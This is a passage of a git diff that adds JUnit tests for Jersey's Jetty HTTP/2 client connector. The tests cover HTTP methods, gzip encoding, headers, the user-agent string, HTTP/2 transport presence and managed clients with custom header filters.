r.getStatus()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java new file mode 100644 index 0000000000..29bb444014 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.Arrays; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java new file mode 100644 index 0000000000..ac6870a57b --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java @@ -0,0 +1,220 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java new file mode 100644 index 0000000000..9823284030 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java @@ -0,0 +1,111 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the HTTP2 presence. + * + */ +public class Http2PresenceTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + @Test + public void testHttp2Presence() { + final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider(); + assertTrue(provider instanceof JettyHttp2ConnectorProvider); + + final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target()); + assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java new file mode 100644 index 0000000000..cb3b3198a3 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java new file mode 100644 index 0000000000..215408bd25 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java @@ -0,0 +1,250 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + *

+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + *

+ *

+ * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + *

+ */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + *

+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + *

+ */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to /internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java new file mode 100644 index 0000000000..8412c41ebb --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java @@ -0,0 +1,146 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java new file mode 100644 index 0000000000..1c14296c4b --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java @@ -0,0 +1,95 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Response.Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = 